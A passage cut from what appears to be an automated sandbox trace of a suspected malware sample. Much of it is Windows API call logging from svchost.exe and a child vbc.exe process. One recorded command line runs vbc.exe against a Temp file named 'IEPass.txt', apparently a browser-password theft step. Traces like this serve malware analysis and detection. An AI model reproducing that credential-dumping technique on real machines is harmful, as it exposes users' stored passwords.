dwHighDateTime=0x1d54023)) [0073.494] GetLastInputInfo (in: plii=0x25e1f00 | out: plii=0x25e1f00) returned 1 Thread: id = 71 os_tid = 0xbc8 Process: id = "3" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x230f4000" os_pid = "0x36c" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "rpc_server" parent_id = "2" os_parent_pid = "0xb18" cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000cedf" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 18 os_tid = 0x8c8 Thread: id = 19 os_tid = 0x5d0 Thread: id = 20 os_tid = 0x330 Thread: id = 21 os_tid = 0x7f8 Thread: id = 22 os_tid = 0x430 Thread: id = 23 os_tid = 0x268 Thread: id = 24 os_tid = 0x768 Thread: id = 25 os_tid = 0x764 Thread: id = 26 os_tid = 0x760 Thread: id = 27 os_tid = 0x75c Thread: id = 28 os_tid = 0x70c Thread: id = 29 os_tid = 0x6e8 Thread: id = 30 os_tid = 0x6d8 Thread: id = 31 os_tid = 0x6d4 Thread: id = 32 os_tid = 0x6c8 Thread: id = 33 os_tid = 0x6c0 Thread: id = 34 os_tid = 0x6b8 Thread: id = 35 os_tid = 0x6a4 Thread: id = 36 os_tid = 0x6a0 Thread: id = 37 os_tid = 0x690 Thread: id = 38 os_tid = 0x67c Thread: id = 39 os_tid = 0x490 Thread: id = 40 os_tid = 0x454 Thread: id = 41 os_tid = 0x450 Thread: id = 42 os_tid = 0x428 Thread: id = 43 os_tid = 0x424 Thread: id = 44 os_tid = 0x420 Thread: id = 45 os_tid = 0x404 Thread: id = 46 os_tid = 0x18c Thread: id = 47 os_tid = 0xf0 Thread: id = 48 os_tid = 0xc8 Thread: id = 49 os_tid = 0x3f0 Thread: id = 50 os_tid = 0x3e4 Thread: id = 51 os_tid = 0x398 Thread: id = 52 os_tid = 0x394 Thread: id = 53 os_tid = 0x390 Thread: id = 54 os_tid = 0x38c Thread: id = 55 os_tid = 0x378 Thread: id = 56 os_tid = 0x370 Thread: id = 57 os_tid = 0xb48 Thread: id = 58 os_tid = 0xb4c Thread: id = 59 os_tid = 0xb50 Thread: id = 60 os_tid = 0xb54 Thread: id = 72 os_tid = 0xbcc Thread: id = 73 os_tid = 0xbd0 Thread: id = 74 os_tid = 0xbd4 Thread: id = 75 os_tid = 0xbd8 Thread: id = 76 os_tid = 0xbdc Thread: id = 77 os_tid = 0xbe0 Thread: id = 78 os_tid = 0xbe4 Thread: id = 79 os_tid = 0xbe8 Thread: id = 80 os_tid = 0xbec Thread: id = 81 os_tid = 0xbf0 Thread: id = 82 os_tid = 0xbf4 Thread: id = 84 os_tid = 0x570 Thread: id = 85 os_tid = 0x518 Thread: id = 86 os_tid = 0x114 Thread: id = 90 os_tid = 0x5a4 Thread: id = 91 os_tid = 0x780 Thread: id = 92 os_tid = 0x210 Thread: id = 93 os_tid = 0x310 Thread: id = 94 os_tid = 0x320 Thread: id = 95 os_tid = 0x178 Thread: id = 96 os_tid = 0x240 Thread: id = 97 os_tid = 0x734 Thread: id = 98 os_tid = 0x7c0 Thread: id = 122 os_tid = 0x3d0 Thread: id = 123 os_tid = 0x8a0 Thread: id = 124 os_tid = 0x89c Thread: id = 125 os_tid = 0x888 Thread: id = 126 os_tid = 0x87c Process: id = "4" image_name = "vbc.exe" filename = "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\vbc.exe" page_root = "0x1ec0a000" os_pid = "0xbf8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0xb18" cmd_line = "C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.exe -f C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\IEPass.txt" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 83 os_tid = 0xbfc [0056.384] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff78 | out: lpSystemTimeAsFileTime=0x18ff78*(dwLowDateTime=0xed20d2d0, dwHighDateTime=0x1d54023)) [0056.384] GetCurrentThreadId () returned 0xbfc [0056.384] GetCurrentProcessId () returned 0xbf8 [0056.384] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff70 | out: lpPerformanceCount=0x18ff70*=17669373483) returned 1 [0056.384] GetProcessHeap () returned 0x4a0000 [0056.385] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0056.385] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0056.385] GetProcAddress (hModule=0x76c20000, lpProcName="FlsFree") returned 0x76c3359f [0056.385] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0056.385] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0056.385] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0056.385] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSemaphoreExW") returned 0x76cb4195 [0056.386] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadStackGuarantee") returned 0x76c3d31f [0056.386] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThreadpoolTimer") returned 0x76c4ee7e [0056.386] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadpoolTimer") returned 0x7717441c [0056.386] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7719c50e [0056.386] GetProcAddress (hModule=0x76c20000, lpProcName="CloseThreadpoolTimer") returned 0x7719c381 [0056.386] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThreadpoolWait") returned 0x76c4f088 [0056.386] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadpoolWait") returned 0x771805d7 [0056.386] GetProcAddress (hModule=0x76c20000, lpProcName="CloseThreadpoolWait") returned 0x7719ca24 [0056.386] GetProcAddress (hModule=0x76c20000, lpProcName="FlushProcessWriteBuffers") returned 0x77150b8c [0056.386] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x7720fde8 [0056.386] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessorNumber") returned 0x771a1e1d [0056.386] GetProcAddress (hModule=0x76c20000, lpProcName="GetLogicalProcessorInformation") returned 0x76cb4761 [0056.386] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSymbolicLinkW") returned 0x76cacd11 [0056.386] GetProcAddress (hModule=0x76c20000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0056.387] GetProcAddress (hModule=0x76c20000, lpProcName="EnumSystemLocalesEx") returned 0x76cb424f [0056.387] GetProcAddress (hModule=0x76c20000, lpProcName="CompareStringEx") returned 0x76cb46b1 [0056.387] GetProcAddress (hModule=0x76c20000, lpProcName="GetDateFormatEx") returned 0x76cc6676 [0056.387] GetProcAddress (hModule=0x76c20000, lpProcName="GetLocaleInfoEx") returned 0x76cb4751 [0056.387] GetProcAddress (hModule=0x76c20000, lpProcName="GetTimeFormatEx") returned 0x76cc65f1 [0056.387] GetProcAddress (hModule=0x76c20000, lpProcName="GetUserDefaultLocaleName") returned 0x76cb47c1 [0056.387] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidLocaleName") returned 0x76cb47e1 [0056.387] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringEx") returned 0x76cb47f1 [0056.387] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentPackageId") returned 0x0 [0056.388] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x3bc) returned 0x4bb3e8 [0056.388] GetCurrentThreadId () returned 0xbfc [0056.388] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x18) returned 0x4bb7b0 [0056.388] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x800) returned 0x4bb7d0 [0056.388] GetStartupInfoW (in: lpStartupInfo=0x18fed8 | out: lpStartupInfo=0x18fed8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x406778, hStdOutput=0xf1d8ac64, hStdError=0x0)) [0056.388] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0056.388] GetFileType (hFile=0x3) returned 0x2 [0056.388] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0056.388] GetFileType (hFile=0x7) returned 0x2 [0056.388] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0056.388] GetFileType (hFile=0xb) returned 0x2 [0056.389] GetCommandLineA () returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.exe -f C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\IEPass.txt" [0056.389] GetEnvironmentStringsW () returned 0x4bbfd8* [0056.389] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0056.389] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x565) returned 0x4bcab0 [0056.389] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x4bcab0, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0056.389] FreeEnvironmentStringsW (penv=0x4bbfd8) returned 1 [0056.389] GetLastError () returned 0x7f [0056.389] SetLastError (dwErrCode=0x7f) [0056.389] GetLastError () returned 0x7f [0056.389] SetLastError (dwErrCode=0x7f) [0056.389] GetLastError () returned 0x7f [0056.389] SetLastError (dwErrCode=0x7f) [0056.389] GetACP () returned 0x4e4 [0056.389] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x220) returned 0x4bbfd8 [0056.389] GetLastError () returned 0x7f [0056.389] SetLastError (dwErrCode=0x7f) [0056.390] IsValidCodePage (CodePage=0x4e4) returned 1 [0056.390] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fedc | out: lpCPInfo=0x18fedc) returned 1 [0056.390] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f9a4 | out: lpCPInfo=0x18f9a4) returned 1 [0056.390] GetLastError () returned 0x7f [0056.390] SetLastError (dwErrCode=0x7f) [0056.390] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0056.390] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x18f728, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0056.390] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f9b8 | out: lpCharType=0x18f9b8) returned 1 [0056.390] GetLastError () returned 0x7f [0056.390] SetLastError (dwErrCode=0x7f) [0056.390] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0056.390] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x18f6f8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0056.390] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0056.390] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4e8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ") returned 256 [0056.390] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ", cchWideChar=256, lpMultiByteStr=0x18fcb8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xe4\xad\xd8\xf1\xf4\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0056.390] GetLastError () returned 0x7f [0056.390] SetLastError (dwErrCode=0x7f) [0056.390] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0056.390] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x18f708, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0056.390] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0056.390] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4f8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ") returned 256 [0056.390] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ", cchWideChar=256, lpMultiByteStr=0x18fbb8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 